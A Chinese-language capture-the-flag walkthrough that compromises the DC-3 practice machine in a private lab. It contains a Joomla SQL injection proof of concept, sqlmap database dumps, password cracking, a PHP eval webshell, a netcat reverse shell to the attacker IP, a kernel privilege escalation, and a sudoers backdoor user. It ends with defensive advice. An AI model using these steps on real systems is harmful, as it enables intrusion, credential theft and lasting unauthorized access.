DC-3打靶机步骤
字数 1139 2025-08-12 12:08:18
DC-3靶机渗透测试详细教学文档
环境准备
- 虚拟环境:VMware
- 系统配置:
- Kali Linux (攻击机):10.9.28.45
- DC-3 (靶机):10.9.28.196
- Win7 SP1 (辅助机):10.9.28.131
- 目标说明:该靶机只有一个flag需要获取
信息收集阶段
1. 目标识别
通过MAC地址确认目标机器为DC-3 (10.9.28.196)
2. 端口扫描
使用Nmap扫描目标:
nmap -sV 10.9.28.196
发现只开放了80端口
3. Web应用识别
访问目标网页(http://10.9.28.196),使用Wappalyzer识别:
- CMS:Joomla
- 操作系统:Ubuntu
- 后端语言:PHP
4. 目录扫描
使用dirsearch扫描网站目录:
python3 dirsearch.py -u http://10.9.28.196 -e *
漏洞挖掘阶段
1. SQL注入漏洞发现
使用xray进行漏洞扫描:
- 开启浏览器代理指向xray
- 启动xray:
./xray webscan --listen 127.0.0.1:8080 --html-output dc3.html
- 访问网站并尝试任意账号密码登录
xray检测到SQL注入漏洞(CVE-2017-8917)
2. 漏洞验证
使用POC验证漏洞:
http://10.9.28.196/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,md5(8888)),1)
漏洞利用阶段
1. 使用SQLmap进行数据库枚举
- 获取数据库列表:
sqlmap -u "http://10.9.28.196/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -p "list[fullordering]" --dbs
(一路回车使用默认选项)
- 获取当前数据库:
sqlmap -u "http://10.9.28.196/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -p "list[fullordering]" --current-db
结果为:joomladb
- 获取表名:
sqlmap -u "http://10.9.28.196/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -p "list[fullordering]" -D joomladb --tables
发现75张表,重点关注#__users表
- 获取列名:
sqlmap -u "http://10.9.28.196/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -p "list[fullordering]" -D joomladb -T "#__users" --columns
- 获取用户数据:
sqlmap -u "http://10.9.28.196/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -p "list[fullordering]" -D joomladb -T "#__users" -C "username,password" --dump
获取到管理员账号(admin)和密码哈希
2. 密码破解
- 将哈希保存到文件
- 使用hashcat破解:
hashcat -m 400 hash.txt rockyou.txt
破解结果为:snoopy
3. 后台登录
使用admin/snoopy登录网站后台
获取Webshell
1. 后台编辑模板
- 访问
/administrator目录 - 选择"Templates"菜单
- 选择任意模板(如error.php)编辑
- 插入一句话木马:
<?php @eval($_POST['cmd']); ?>
2. 连接Webshell
使用蚁剑连接:
- URL:http://10.9.28.196/templates/xxx/error.php
- 密码:cmd
权限提升
1. 获取反向Shell
- Kali上监听:
nc -lvnp 1234
- 在蚁剑虚拟终端执行(目标无nc -e选项时):
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.28.45 1234 >/tmp/f
2. 提权操作
- 查看系统版本:
uname -a
- 搜索漏洞:
searchsploit Ubuntu 16.04
发现double-fdput漏洞
-
上传exp到目标/tmp目录
-
在目标机器上:
cd /tmp
gcc exp.c -o exp
chmod +x exp
./exp
直接获取root权限
3. 获取flag
在root目录下查找flag文件
权限维持
- 添加用户:
useradd -m -s /bin/bash backdoor
passwd backdoor
- 添加到sudoers:
echo "backdoor ALL=(ALL:ALL) ALL" >> /etc/sudoers
关键点总结
- 通过Joomla的SQL注入漏洞获取管理员凭证
- 利用后台模板编辑功能植入Webshell
- 通过系统漏洞实现权限提升
- 最终获取root权限找到flag
防御建议
- 及时更新CMS系统和插件
- 限制后台模板编辑权限
- 定期更新操作系统补丁
- 使用强密码策略
- 监控系统日志和异常行为